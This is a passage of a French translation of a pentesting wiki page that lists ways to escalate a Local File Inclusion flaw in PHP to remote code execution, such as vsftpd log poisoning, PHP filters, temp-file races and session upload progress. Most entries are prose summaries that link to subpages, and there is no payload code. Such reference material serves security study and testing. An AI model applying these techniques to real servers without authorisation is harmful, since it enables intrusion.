### Via les logs de vsftpd
|
|
|
|
Les journaux de ce serveur FTP sont stockés dans _**/var/log/vsftpd.log.**_ Si vous avez une LFI et pouvez accéder à un serveur vsftpd exposé, vous pouvez essayer de vous connecter en définissant la charge utile PHP dans le nom d'utilisateur, puis accéder aux journaux en utilisant la LFI.
|
|
|
|
### Via les filtres php (pas besoin de fichier)
|
|
|
|
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **les filtres php pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
|
|
|
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
|
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via segmentation fault
|
|
|
|
**Téléchargez** un fichier qui sera stocké temporairement dans `/tmp`, puis dans la **même requête,** déclenchez une **segmentation fault**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pouvez le rechercher.
|
|
|
|
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
|
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via le stockage de fichiers temporaires Nginx
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir RCE avec la technique suivante :
|
|
|
|
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
|
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez en abuser pour obtenir RCE :
|
|
|
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
|
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via les téléchargements de fichiers temporaires dans Windows
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir RCE :
|
|
|
|
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via phpinfo() (file\_uploads = on)
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file\_uploads = on, vous pouvez obtenir RCE :
|
|
|
|
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
|
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + divulgation de chemin
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** vérifie si le **fichier à inclure a des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
|
|
|
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
|
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via l'attente éternelle + brute force
|
|
|
|
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire **suspendre** l'exécution PHP du serveur, vous pourriez ensuite **forcer les noms de fichiers pendant des heures** pour trouver le fichier temporaire :
|
|
|
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Pour une erreur fatale
|
|
|
|
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour déclencher cette erreur).
|
|
|
|
**Je ne sais pas à quoi cela peut servir, mais cela pourrait être utile.**\
|
|
_Même si vous provoquez une erreur fatale de PHP, les fichiers temporaires PHP téléchargés sont supprimés._
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Références
|
|
|
|
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
|
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
|
|
|
{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
|
|
|
|
🐞 Lisez les tutoriels sur les bugs web3
|
|
|
|
🔔 Soyez informé des nouveaux programmes de primes pour bugs
|
|
|
|
💬 Participez aux discussions de la communauté
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|